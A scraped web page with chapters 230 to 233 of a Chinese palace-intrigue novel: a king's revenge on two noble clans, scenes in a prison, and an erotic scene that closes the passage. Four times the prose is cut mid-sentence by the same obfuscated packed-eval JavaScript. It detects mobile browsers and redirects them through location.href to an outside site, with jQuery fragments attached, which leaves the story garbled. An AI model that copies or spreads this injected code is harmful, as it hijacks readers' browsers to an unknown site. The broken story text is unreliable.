众臣被说得晕晕乎乎,点头如捣蒜,其实能让他们折服的还是君王所说的一统大梁全域,为夷越拓展疆土,他们这些朝臣将是最大的得利者。 统辖地变大了,官阶自然也就大了。 不过一个朝会的工夫,众臣的态度从反对小王子为储君,变成小王子为储君的天选之人,无人比他更合适。 大殿上的崔致远、阿史勒以及罗疏等人感叹连连,画饼还得是他们的王。 不过这饼还真就只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720650|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能大王画,同一句话,任何人说出来都没有信服度,唯有君王之言才叫人折服。 争论已久的问题就这么平息了。 散朝后,呼延吉一刻不歇,又召崔致远等人到议政殿私议政务,准备把考举一事提上议程,如何推行下去,如何监制,又该如何裁夺,这中间的关要需得理出头绪。 …… 彼边,江念在秋月的梳理下整妆毕,然后抱着孩子乘辇去了祥云殿。 高太后见着孙儿,从江念手里接过,抱着不撒手,心里认定这孩子同自己有缘,在自己最无依的时候出现,这才叫自己撑了过来。 再加上从前高太后对小儿子冷落,就想在孙儿身上补还。 “我说什么来着,那些个人非说我儿身殒,我偏不信,结果你们看,这不好好地回来了?”高太后说着拍了拍怀里的孩子,转头对江念说道,“你还是太年轻了,沉不住气,叫那起子人扰乱了心神。” 金掌事在一旁压着嘴角,太后说梁妃被扰乱心神,她自己也没好到哪里去。 偌大的王朝,两任君王皆从她肚子出来的,不论成王还是吉王,对她这个太后当真是孝顺,若真平白没了,最后连一点血脉没留下,叫她这白发人怎么受得了。 那会儿,她甚至担心太后挺不过去,最后还是梁妃殿下抱着小王子出现,太后才重新有了生气。 “太后说的是,那会儿当真是慌了,妾身也顾不得什么。”江念笑说道。 高太后点头道:“你这反应才是真,但你是小王子的生母,你若立不住,这孩子就更立不住了。” “是。”江念应道。 说到这里,高太后看了一眼金掌事,金掌事会意,将孩子从太后怀里接过,然后带着秋月等一众宫人出了殿。 “江丫头,你坐到我跟前来。” 江念知道高太后这是有话同她说了,于是起身走到她的身侧坐下。 “太后可是有事吩咐?” 高太后想了想,说道:“先前高家那样确实招人恨,也没有道理容赦,大王如今还朝,必要对高家下重手。” 说罢,看向江念,见她微敛着眼皮,继续道,“高家到底是我的母族,我那兄弟不是个好东西,他这个人,我也不打算保,也知道保不住,只是不想因他牵连高氏全族,上上下下几百来口人,还有几个才落草的婴孩儿……” 高氏又是一声叹息,“我的话他不一定听,你替我劝劝?” 江念先是不语,高氏在她面前低姿态地说出这番话已是不易,她也感念她,起码呼延吉不在的那段时日,太后成为她和孩子的依傍。 虽说她恨极了趁机想要欺辱她母子的高阿克,可高太后这个情面,她不能不给。 依呼延吉的脾性,除了高太后,高阿克罪孽之大必要株连全族。 在这件事上,江念甚至觉着高家比朵家更可恨,朵尔罕一心想要得到权柄,手段狠辣,没留余地,而高家却想通过一个痞赖暗操王权, 这还不算,高阿克想要发泄,想要通过她受辱以此报复呼延吉…… 第230章 惑乱君心 高太后想要江念在呼延吉面前替高家说说情,至于高家家主,随他是杀是刮。 站在高太后的立场,也能理解,自己的全族被屠,她作为高家人不可能坐视不管,而且她也难做,一面是亲子,一面是高氏族人。 只能叫江念在呼延吉面前劝说。 江念应下了,圣太后是她孩子的祖母,这层关系脱不掉,没必要为了心里的仇意再去开罪她。 回了西殿,乳母把孩子抱开。 江念吃了一碗膳房送来的牛乳羹,然后行到西殿后方的一处凉亭内,亭周结了碧色的罗纱,清凉的湖风吹来,轻飘飘地翻飞。 这湖亭下是积聚的活水,水色澄清,可观得鱼群游动,有了这池活山水,亭内并不感到燠热难耐。 “你们自去小憩,不必在我跟前。” 江念打发了随从的宫人,宫人们便散歇于周围。 江念敛起裙裾,揪成一个结,然后踢除软底绣鞋,整个人倦倚在亭栏边的长凳上,就这么懒懒地吹着凉风,享受片刻的安宁。 风中夹着一点点湿意,吹在脸上很舒服,原本没有困意,这会儿却慢慢地眯起眼。 直到一片黑影罩了下来,把眼皮下的黑更进一层,她睁开眼,就见呼延吉微倾在上方笑看着她,见她睁眼,于是撩衣坐到她的身侧。 “去太后那里了?” 江念“嗯”了一声,把身子往里侧了侧,以便他坐得更多。 “朔儿的事情,你不必操心。”呼延吉又道。 有他在,她自然是不操心的。 呼延吉看向江念,停顿了一会儿,又道:“我已叫司天监推选吉日,册封你为大妃。” 江念两眼一睁,问道:“你那些迂阔的臣子们肯答应?” “什么叫我那些迂阔的臣子,他们也是你的臣子。” “我可当不得,这些人只怕成日背地咒骂我如何惑乱他们的君王呢。” 呼延吉笑而不语。 江念见了,粉腮微愠,嗔道:“大王笑什么?” 呼延吉把她滑到臂弯的衣袖往下牵了牵,盖住那一截雪白的腕子:“可不就是惑乱么?” 江念一怔,嘴角勾起一丝笑意,欠起身,把腿边的裙摆扬到另一侧,那宽大的裙裾便拖垂到了地面,她跪在长凳上膝行挨近他的身,一双手轻轻地搭在他的肩头,望向他。 “都说到惑乱了,是不是妾身说什么大王都应?” 呼延吉先是回看向她,继而那目光又慢慢地移到她丰软的双唇上,那里染了微艳的口脂,很是诱人的色调。 江念以为会得到一个肯定的答复,向来是她勾勾手指,他便乖乖地上前,她说什么他就应什么,然而这回却有些不同。 “你先说什么事?”呼延吉的头微微向后仰去。 江念见他如此,更向他身上欺着,呼延吉没办法,只好一手撑住栏杆。 “你坐直了,好好说话。” 不论二人在寝屋内如何恩爱绸缪,也不论呼延吉私下同她多柔情,别看他一口一个阿姐的叫着,可在人前,他总是特别的凝肃,只有极少的时候同她亲近。 这种亲近顶多是袖子下拉一下她的手,哪怕晚间于寝屋里,他也是等宫人退去,再将她叫到身侧,伸手在她脸上抚揾,或是牵起她的衣袖。 总而言之,在人前,他的情绪不会表露太明显。 江念自觉失礼,于是退后规整坐下。 “要我应什么事。”呼延吉说道。 江念想了想,若直接道出高家一事,未免让人觉得她在干涉政事,不如换一种方式道出。 “大王可知江家被抄检时,族中男女老少杀的杀,发卖的发卖,江府一夜之间从高台坠落,何等的惨状。” 江念并未发现她说这话之时,呼延吉眼中闪过的一抹异色。 呼延吉“嗯”了一声:“都过去了,别再去想。” 江念本是想借抄家一事,牵出高家,不承想再次勾出伤情,一时间有些难忍,呼延吉拿袖子替她拭泪。 “你看看,好好的,你又提往事,平白惹自己伤心。” 江念心里其实一直有个郁结未解,她始终不明白三皇子登基后为何独独不放过江家。 不过人生在世,哪能事事由自己弄清弄明,她也不是那般太过纠结之人,日子总要往前看,不能一味沉溺于一个不得解的问题上。 她从袖中抽出绢帕,将脸上的泪渍拭干,说道:“妾身由己及人,觉着抄家之罪有些不近情理,毕竟一人之错叫整族人受到牵连,未免过了,更何况那族中女子和孩童何其无辜。” 呼延吉听至此才算明白:“太后今早找你说的?” 江念眨了眨眼。 呼延吉沉了沉声,说道:“阿姐,你要知道,高阿克以及高家男子谋得的所有不义之财,你口中的这些无辜妇人和孩童,他们也是受益者。” 江念浑身一震,思及自己从前那般挥霍无度,不也是得利于她的祖父和父亲。 呼延吉最后还是依了她,没有对高家斩草除根,当然,他这么做也有他的用意。 …… 高阿克直到现在还认为自己不会久关,用不了多久高太后就会找个由头放他出去。 太后不可能对自己母族赶尽杀绝,他是她至亲的兄弟,临到最后,肯定会想方设法为他开脱罪责。 正想着,过道响起锁链哗啦声,还有杂乱拖沓的脚步响。 接着就见几名狱吏拖架着一人从过道拐进来,那人半截身子同地面贴擦着,像是一条断尾的鱼,他们将他扔进隔壁的牢房,这时高阿克才看清这人的面目,正是他的长子,高逊。 不待他有所反应,过道处又是一片杂乱的响动,在他惊骇的目光中,进来了一群人,全是二三十来岁的成年男子,这些人手脚戴着镣铐,颓丧着肩背。 全是他高家男儿,怎么回事?!他们不是在弥城么? “家主,咱们高家完了。”被关进高阿克隔壁牢房的一人说道。 “太后下命抓的你们?”高阿克咬牙问道。 “不是太后,是大王, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726298|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大王派人连夜将我高家所有成年男子押解于京都。” 高阿克不信:“呼延吉不是**么?!” 那人苦丧着脸,说道:“又活了。” “什么叫又活了?” “呼延吉根本没死,他借着诈死,拿下了宣州十三城,现已归来,万民庆贺。” 高阿克**一惊,颓然歪坐于地,嘴里讷讷不知说些什么,又猛地站起,扒着牢房门,朝外叫嚷:“我要见太后,带我去见太后——” 然而,根本没人回应他。 “太后是高家女,怎会坐视不管,她不会不管。”接着又扯着嗓子叫喊了一句,“叫太后来见我——” 话音还在阴湿的牢房内荡着,一个声音接上来:“本王来见舅舅如何?” 高阿克看向来人,不是呼延吉却又是谁。 “大王为何拿我高家男儿?” 呼延吉轻笑一声:“高公何必明知故问。” “难道王是恼怒老拙找出真正有呼延氏血脉之人而降罪高家?”高阿克说罢,见牢外的呼延吉并不言语,继而又道,“老拙何错之有,当时大王战殁的消息传来,有道是国不可一日无君,王位空悬,不得不重立新王。” 呼延吉点了点头,以示认同:“只是这新王人选怎么由着你高家说了算,你想立谁就是谁?” “大**鉴,老拙也是没了办法,好不容易寻到呼延氏旁支,竟叫梁妃杀了,老拙可是忠心为我夷越之根本着想,何错之有啊?” 随同而来的侍卫搬来座椅,呼延吉靠坐下,双手交握于身前,冷冷地看向牢笼内的人,说道:“高公一心为我夷越,没有错。” 高阿克见呼延吉这态度,有些不明其意,他并不认为他这个外甥是个好说话之人。 果不其然,又听他说道:“只是本王听闻高公在祥云殿内曾言,让梁妃侍奉那痞赖之人?不知可有此事?” 高阿克心里一提,脑子油滑一转,说道:“礼该如此,当时并不知大王仍活于世,王若去了,按礼制妻与子自然由下一任君王继承。” 呼延吉听后点头道:“嗯,不错,理当如此。” 高阿克知道呼延吉脾性蛮悍且乖戾,不知为何此刻却十分好说话,以为是高太后从旁说情,将此事大化小,小化无。 “高公看一看,这里可是你高氏一族所有年轻男子?”呼延吉盯着高阿克问道。 高阿克依言看了看,然后点头。 “大王,他们同你可沾着亲带着故。” 不及他说完,呼延吉又道:“本王依着太后之命,不弑你高氏全族……” 高阿克忙伏地叩拜,以谢王恩,周边牢房里的高氏男子皆伏跪下,泣声顿首,唯有旁边的高逊瘫颓冷笑。 呼延吉能有这样好心?你可以说他是一位好君王,却绝不能说他是一个好人。 纵观历史,能把帝王之术玩转的人又怎么可能是好人。 果不其然,正在众人顿首谢恩之时,呼延吉接下来的话,让他们死后亦不得安宁…… 第231章 死不瞑目 牢中的高家人伏跪于地,顿首涕泣。 他们俱出自弥城的高家大宗,原本在家中好好的,突然被押解入京,下了牢狱。 先前家主领着贺三去了京都,想借呼延氏的名头拥立其为新王。 且对于圣太后而言,虽说小王子是她的亲孙,可一来高家为她的母族,二来,贺三又真真实实为呼延氏后人,于情于理之下,她不会不帮衬。 届时,整个夷越权位最高的两人,皆属他高家。 朵家一直想要夺得王权,不惜筹集兵马正面对敌,可他们高家不过略施手段,一样能从背后操控王权。 朵家枉费心思,筹谋一场空。 此事本该水到渠成,不会生出波澜,可他们怎么也没料到,梁妃来了个釜底抽薪,把贺三杀了!还扣押了家主,最可恨的是竟然封锁了消息。 待他们知晓之时,已来不及做出应对。 如今,他们不想别的,只想留一条命苟活,听闻家主譬解开脱,而大王也点头认同,还道出圣太后为高家求情,当下有了生的希望。 正在欢喜时,却听呼延吉说:“本王不杀高氏全族,不过你们高氏一族的成年男子却在**之列。” 谢恩的声音戛然而止,静了一息,接着响起更大的泣诉之声。 “大王开恩,求大王饶我等一命。” 高家主扬声问道:“老拙一片赤忱之心全是为了夷越,大王为何降罪,适才大王不也认同老拙所言么?” 他扶持贺三为王,一来为着间接操控王权,可这当中更多的是他想要报复呼延吉,当初呼延吉为梁女,设计打残了他的长子,这口气一直憋在心里。 就想叫呼延吉生前最在意的东西,被他人糟蹋,叫他在阴曹地府不得安宁。 可不论怎么说,从他找出贺三,再带贺三入京都,更甚至进入王庭,哪怕他出言让梁妃侍奉于贺三,每一步他都占着理。 他们高家不同于朵家,呼延吉凭什么降罪。 呼延吉听罢,说道:“高公所说的句句在理,我先前也说过,并无错处。” “那大王为何……” 呼延吉先是嗤笑,声音陡然一沉:“你让我女人认他人为夫,你还问我为何?!” “舅舅——”呼延吉这一声叫得高家主身上细毛立起,紧接着听他又道,“你也不用说那些面上的话来糊弄我,我若想你活,自然会替你找理由,我若想你死……你觉得我会同你讲道理?” 说到这里高阿克明白已没有转圜的余地,可仍想垂死挣扎一番。 “我要见太后,你既叫我一声舅舅,总得让我走之前见太后最后一面。” “不必见了,太后并不想见你。”呼延吉眼见差不多,接下来该说正话了。 “适才高公的那些话让本王很是受教,现学现卖,等你高家男子死后,你高家所集积的金锦财物就不充国库了,届时,这些丰厚的财物分派于高家所有女眷手中,有子嗣的多分些,无子嗣的少分些,让她们领了银钱,该嫁人的嫁人,该招婿的招婿。” 说到这里,呼延吉看向牢内,牢内的高家男人们一个个连饶都不讨了,全瞪着眼呆在那里,可呼延吉还嫌不够,把刚才高阿克说的话,还了回去。 “总不能让你高家绝后,日后,你们的女人叫他人为夫,你们的孩子认他人为父,让这些男人花着你们挣来的钱财,替你们好好活着,是不是这个道理?” “不,不,大王,不能这样,那些女人不该独活。”高阿克惊惶道,一想到自己的一切将被他人窃取,这比叫他死更难受。 呼延吉不作理会,继续问道:“你刚才的歪理一套又一套,怎么这会儿到你高家人身上就不行?太后她老人家特为你们求情,我思前想后觉得这样甚好,既不灭你全族,又解了我心头之恨。” 高阿克还待要说,呼延吉却站起身,走之前留下一句话:“放心,你们的女人、孩子还有家产,所有的一切都会有人继承和照顾。” 呼延吉这一招不可谓之不狠,其人之道还治其人之身,叫这些人死都死得不甘心。 待呼延吉走后,牢房里陡然响起怪谲的笑声,高阿克木怔地看过去,发笑之人正是他的长子高逊。 听他神神叨叨嘟囔着,报应!都是报应!接着又是一阵荒诞不成调的笑音。 …… 高家众人单独关于一区,而在他们间壁,关着他们的难兄难弟,同为上姓的朵氏一族。 不过朵家可没高家这番待遇,好歹作为君王的呼延吉还到牢里赏了高家众人一面,朵家那边却是死一般的寂静。 朵氏全族不论男女老幼俱下了牢狱,他们根本不抱任何希望,亦没有半点狡辩的机会,知道自己必死无疑,只看何时罢了。 牢狱里阴暗潮湿的环境不是这些惯享富贵的男女可以受的。 其中一个牢房传出断续的咳嗽,听那喉音已是哑破,却又极力忍耐地想把冲口而出的咳嗽咽回。 “夫人用水压一压罢。” 只见一个五十来岁的婆子缓缓抚拍着一年长妇人的后背,再看这年长妇人,身形清瘦,发丝掺白,就着一旁奴妇递来的碗喝了一口凉水。 这咳嗽的年长妇人正是朵氏之母。 而她身边的年长奴妇是她的贴身侍女,朵家获罪,府中的奴才皆被发卖,朵母因身体孱弱,她的贴身老奴不忍离去,甘愿一道下牢狱,侍奉左右。 朵母咽下一口凉水,喉咙的哑痛稍稍好了些,如今的她不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726299|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吊着一口气,她体内的毒比之女儿更甚,为着这毒又牵带出旁杂病症。 可就是这么一副残躯,却生生捱到了如今,比那个毒害她之人更加长命,这就是她活着的意义。 “还好,还好……”朵母虚着声气说道。 “还好什么?”奴妇问道。 “我的梵儿不用待在这里。”朵母眼里涌出一点开心,哪怕自己马上就要**,却也庆幸女儿逃脱那座血红的府邸,不用再像提线木偶一般。 “是呢,朵姑一定会好好的。”奴妇宽慰道。 朵母轻轻笑出声,笑着笑着又咳了起来,奴妇一面抚拍,一面说道:“婢子叫狱吏换些热水来。” 说罢,拿着瓷碗走到牢房门前,唤了一声:“牢头大人,劳你换些热水来。” 那声“牢头大人”才一出口,值守的狱吏就忙不迭地小跑来,态度亲和道:“来,来,我给你们倒上。” 奴妇道谢,牢头客气连连。 这方倒过热水,又拎着壶去了斜对面的一间牢房,立住,小心地问道:“朵郎君可要热水?” 朵阿赤倦倚着墙角,除了头发有些凌乱,其他都还好。 “不必了。” 牢头笑着点了点头,拎壶走了。 一个声音从旁边的牢笼响起:“老夫没能事成,认了,不悔。” 朵阿赤惨笑着摇了摇头,转头看向隔壁牢笼,声音无波无澜:“父亲可曾为我们这些儿孙想过?可有为伴您身侧的夫人们想过?” 到了这个时候,朵尔罕的腰背反倒直挺了,彻底撕下谦恭的表皮,露出自大自负的内里,他本就是这样的人,这才是真实的他。 “想要成大事,怎能牵绊太多,我为的是整个朵氏一族。”朵尔罕说道。 朵阿赤停了一会儿,一腔的话在这一刻终于压持不住,说了出来:“您不是为了朵氏一族,您是为了自己的私欲,为了满足您膨胀的野心,不惜罔顾全族人的性命。” “住口!我怎么生出你这么个蠢货,可惜啊——妲儿生为女儿,若她是个男儿,必能成为为父的左膀右臂。”朵尔罕恨恨道。 “父亲直到现在想的还是让儿女们怎样为您所用,当真是没有半分亲情,妲儿死后您连她的尸身都不曾看过一眼。”朵阿赤继续道,“您口口声声为了朵氏一族,实则您才是灭朵家的罪魁祸首,儿子倒想问一句,到了下面,父亲可有颜面见朵家先祖?” 朵尔罕的一张蜡脸像要皲裂开来。 这边说着话,那方牢头听了一耳朵,心里叹道,任先前如何风光鼎盛之家,落败也就一夜之间,都全族落了罪,这位老大人仍无悔心。 正想着,过道拐角来了一人,几名狱吏殷勤地随伺在他身侧…… 第232章 怎么个快活? 牢头见来人,赶紧起身,迎上去行礼。 “按崔大人的吩咐,不曾苛待他们。” 崔致远点了点头,狱吏在前引路,引至一个牢房间。 “小的们退至门首,大人若有事情,尽管吩咐。”狱吏们说罢退下。 朵阿赤看向崔致远,冷嗤一声:“看我笑话来了?” 崔致远将随带的食盒搁放,然后打开,拿出里面的酒壶并一小碟下酒菜,放入递饭口。 “你也活不久,这些菜就当给你践行了,黄泉路上走好。”崔致远说道。 朵阿赤笑了笑,站起身,走到牢笼前再次坐下,一张铁栏,一个坐在外面,一个坐在里面。 一个曾是柴门落魄书生,一个曾是大族高粱公子,如今境遇却是天差地别。 崔致远执壶亲自给朵阿赤满上一杯,说道:“你放心,待**的时候,我叫刽子手把刀磨利些,一刀下去,连肉带骨咔嚓一声,没有痛感。” 说罢,往隔壁的牢笼看了一眼,朵尔罕只是闭着眼,面无表情,没有一点的惧意。 朵阿赤饮了一杯酒,便不再饮了,崔致远收起酒盏,走之前说了一句:“祝君下辈子投个好胎。” 崔致远才出牢房,有人来传,大王召见,于是提着食盒去了议政殿。 “去看了?”呼延吉放下手中书册,从桌案后走出,坐到茶几边。 崔致远走到茶几边,放下手里的食盒,不待呼延吉动手,舀了一匙花茶放于茶杯中,再用拈子夹了几块冰置于花叶上,最后沏入凉水,奉到呼延吉面前。 “去了,老头子不带一点怕的,愣是像英勇赴死一般。”崔致远自己都觉着好笑。 呼延吉端起冰茶轻抿一口,说道:“朵尔罕是个极度自负之人,这种人死不悔改。” “是,可惜了。” “可惜什么?”呼延吉问道。 崔致远犹豫着要不要说。 “在我面前有什么说什么。” 崔致远点了点头,又给呼延吉续了一点茶,这才说道:“朵阿赤这人可惜了,其实他骨子里并不坏,先前臣不敢说,自东境一役后,他的立场同朵尔罕不同,朵尔罕积集私兵的消息,最先就是他传给臣的,而且……” “说来。” “而且当初朵尔罕在王庭被擒时,朵阿赤集于城外的私兵并未立刻攻进城中,一直按兵不动,臣私以为,他并不想夷越内乱,狼烟四起,后来更是束手就擒没作任何反抗。” 呼延吉“嗯”了一声,表示知晓。 崔致远见大王态度漠然,并不给明示,也不好再说,他只能做到这一步,至于朵阿赤命该如何,端看大王想不想他活了。 呼延吉回了西殿,入到殿内,宫人们迎来随在身侧,听候吩咐。 于是挥手叫她们退去,自行穿过露台,走到寝殿门前,殿门半掩,从门隙看去,屋内很安静,舒香的风缓缓浮动。 屋室正中,柔软的毡毯上,女人侧卧着,一身藕色的绢制长衫,半散着柔发,缱绻落于毡毯,一手撑着头,宽大的衣袖退至臂弯,凝雪般的腕子上环着金玉,越发衬得其金莹玉洁。 在女人身怀,躺着一个穿银红肚兜的小儿,小儿光着屁股,肥肥的两条胳膊上套着小金镯,正在那里踢腾,再不一会儿,小手抓住美妇人的长发,好奇地把玩。 嘴里咿咿呀呀不知说着什么。 美妇人微阖着眼,妍柔的面庞泛着一捻捻睡思。 微热的风把绿叶吹得“沙沙”翻腾,风在叶中降了几分躁意,滤得清凉,飘进屋,寝内垂地的轻纱被吹地飘飐。 这一幕是呼延吉从前想也不敢想的,无论多少繁杂,也会被这一室静好抚平,他愿拿命去守护他们母子。 呼延吉并没有进入,而是转身去了偏殿,叫人替他换下朝服,这才重回寝屋内,他走到她的身后,俯下身,在她的耳下吻了吻,然后伸手将孩子抱了起来,举到半空,逗他开心。 先时小儿只黏江念,头一次见呼延吉时还被唬了一下,再慢慢的,熟悉了气息,亲近起来。 “你当心些。”江念说道。 呼延吉笑道:“阿姐也太小瞧我,这么小一团肉我还举不动?” “不是怕你举不动。” “那是什么?” 江念缓缓撑起身,说道:“我怕朔儿高兴太过,滋你一身……” 话未说完,那童子尿已飙了出来,小儿溺完先是一怔,瞪着他父亲,然后像鸡儿打鸣似的笑得咯咯响,开心地踢腾着小肥腿。 “你小子……”呼延吉赶紧把孩子放下,叫宫人进来收拾,“快些,快些,把这毡毯也换了,一股子尿味。” 秋月同乳母把孩子抱起,带到一边清洗擦拭,其他宫婢们则开始收拾毡毯。 另几个宫婢打了清水来,双手端举侍立,江念见呼延吉伸着两条胳膊,胸前湿渍一片,于是走到他的身边,开始替他更换衣物,好在只是外衫湿了,替他褪去外衫后又绞干湿巾擦拭他的胸口。 再从一边的宫人手里接过干净的衣衫,给他换上。 “怎的不弄个布片把他那小兄弟包上?”呼延吉问道。 江念嗔了他一眼:“小儿皮肤娇嫩,这样热的天,怕捂出疹子。” “那他随时来这么一下,现在是一泡小的,待会儿再来一泡大的,如何行?” “我还没嫌,你倒嫌上了,你若怕不安生,有一个法子。”江念给呼延吉系好衣带,又用清水净过手,宫婢递上帕子,拭干。 “什么法子?”呼延吉一面净手一面问道。 “妾身抱着朔儿住到侧殿,这样就不扰了。”江念从秋月手里抱过孩子,逗他笑,“是不是啊朔儿,咱们不包屁股兜,小屁股不舒服。” 孩子一到江念的怀里就特别安静,闻着母亲身上熟悉的气息,闭上眼渐渐睡去。 呼延吉给秋月睇了一个眼色,秋月赶紧上前:“主子带小王子累了半日,婢子抱他去侧殿睡,你也趁这个空当歇息歇息。” 梁妃殿下对小王子当真是半刻离不得眼,其实,像高门大户的女眷,孩子大多由乳母照看,再长大一点开始学规矩,有教**引导,作为母亲不必太过费神。 而梁妃身份贵重,平日却亲自照看小王子,她们这些宫人只从旁打打下手。 如此一来,殿下的整个心神都倾在了小王子身上,反倒把大王冷落了。 江念把孩子递给秋月,然后众人退出寝屋外。 呼延吉上前近到她的身边,说道:“你这心偏得也太厉害了些。” “你连孩子的醋也吃?”江念抿嘴轻笑,侧过身,走到矮几边敛衣坐下。 呼延吉跟着走过去,坐到她的身边,说道:“回来这些时,咱们都没好好说过话。” 江念想了想,近段时日好似是没怎么关心他,于是在他脸上仔细端相了一会儿,微笑道:“妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734447|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身见大王眉目微紧,像是有话说?” 呼延吉点了点头,说道:“事关朵家。” “朵家全族下了牢狱,还有什么可让大王忧烦的?” “总觉得一刀杀了朵老贼太便宜他了。” 江念心道,处置高家之前,她在呼延吉面前央求了几句,高家最后还落得那样一个结果。 一刀了结朵家,确实难解呼延吉心头之恨,若把朵尔罕绑起来施以酷刑,让他求生不能求死不得,这又不是呼延吉的行事风格。 “朵氏一族中,有用之人便是朵尔罕的棋子,无用之人则是弃子,大王何不让他尝一尝众叛亲离的滋味,不比杀了他更解恨?左右他的命已在大王掌握,想要取随时可取。” 呼延吉笑了笑:“不错,**容易,不如叫他痛苦地活着。” 说罢,呼延吉不再提朵家,而是笑看着江念,问道:“你刚才说什么?” 江念有些不明,刚才不是他在说话么,她都没出声,说什么了?于是反问道:“什么?” “你说要抱着孩子去侧殿住?” “可不是呢,我同孩子去偏殿住,不来扰你,这样不好?”江念佯装道。 呼延吉懒懒地伸展身子,然后仰靠着案几,腔音轻挑:“你娘俩去偏殿,哎呀——晚上我可快活了,去罢,去罢——” 江念听他话里有话,眸光乜斜:“怎么个快活?” “你说怎么个快活?” 江念望向呼延吉的双眼,他半点不避,亦回望过来,两人就这么较量了半晌。 “好,既然大王想要自在,那妾身就不搅扰大王的风月,这就搬去偏殿。” 呼延吉本是一句玩笑话,可他不知,自江念生过孩子后,心里始终有些难言的敏感,她如今二十有七,过不许久,就二十有八,再往后年近三旬的岁数。 而她的夫君才二十出头,正值鼎盛之年,叫她怎么不去在意。 呼延吉一句戏言便叫她听到了心里,正待起身,却被呼延吉拉回。 “一句顽话儿,你就当真了,什么时候变得这样小性儿?” 江念别开脸:“真是顽话?还是借着顽话道出真实想法?” 呼延吉未立刻回答,而是将手放到她的下巴处,捏了捏:“别的妇人生孩子,身上都长肉,偏你不长一点,反倒有些清减。” “怎么没长肉,腰腹处有肉,圆了不少。” “是么,让我看看。”呼延吉说着,双手已从她的裙摆下探了进去。 江念怕痒,忙按住他的手,敛好衣裙就要起身,想要躲开,可呼延吉又一把拉住她,一手把人从后环住,一手捉住她的脚踝,就那么僵持着。 “我是心疼你,你那样照顾他,把自己的精气神也消磨没了,殿里有乳母,还怕她们看顾不好么?” 江念并未在意他的话,而是笑道:“别岔开话,适才妾身问的大王还未回答哩!” “我不记得了。”呼延吉笑着将头埋在她的颈间。 “那妾身再问一遍?” 呼延吉“唔”了一声。 “大王想要自在快活,是顽话呢还是心里真这么想的?” 呼延吉抬起头,“嘶”了一声:“让我想想……” 江念忙扭过身,捧着他的脸,说道:“不许想,现在说。” 呼延吉把头往后仰去,气笑道:“哪有这样蛮的女子,我摸一摸她的肚儿她不愿意,却逼问我风月之事……” 第233章 你身上哪处我没摸过? 江念被呼延吉说得脸上红一阵白一阵,一时间,两人都较起了劲儿,哪像当父母的人,还跟儿时一样。 “那我给你摸肚子上的肉,你把话说明白。”江念这是准备打破砂锅问到底,话不说明,她晚上不好睡。 呼延吉想了想,勉为其难地点了点头:“这可是你叫我摸的。” 江念“嗯”了一声。 呼延吉面色稍好一点,说道:“坐我身上来。” 江念捉起宽大的裙摆,一手撑住他递来的手,然后叉开腿落坐到他的大腿上,随之而来的是面上泛起的霞色。 那裙裾因女人的动作散摆开来,露出里面半透的青纱裤儿。 呼延吉将手从裙摆探了进去,却只在她的大腿处流连。 江念一把捺住他的手:“摸哪儿呢?” “罢了,罢了,不摸了,不过就是摸一下,她还讨价还价。”呼延吉说着就要起身。 江念为着想听一句实话,只好忍下:“摸罢,又不少一块肉,又不是没摸过。” 呼延吉点头道:“这才是嘛,你这身上哪处我没摸过,尝都尝过几回了……” 江念慌得双手捂住他的嘴,耳朵烧得红透,那红又从耳下一点点滋蔓到颈间。 “你胡说什么呢!” 偏这个时候呼延吉的手不老实起来,先是拉开裙下的裤带,抚上那一片稍稍有肉的小腹,声音隔着女人的掌心瓮声道:“哪里胡说了?你身上哪处我没……” 江念急得两眼睁瞪:“你还说。” “怕怎的,这里只你我二人,又无旁人,我说了你不喜欢听?” “谁喜欢听这些。” 呼延吉轻笑一声,将她的裤儿口拉得更大,往下褪了褪,然后俯到她的耳边,蛊惑道:“你若不喜欢听,怎的情事时我说了,你就反应那般大?当我察觉不出来么?” 江念双手搭在他的肩头,紧紧揪着他的衣衫,真当他拨开这一层羞涩,她反倒不知该如何作答。 “不问了,你不说就算了,没得在这里让你戏耍。”江念说道。 “来不及了……”呼延吉的手已探入。 江念贝齿轻咬,只能接受他的挑弄。 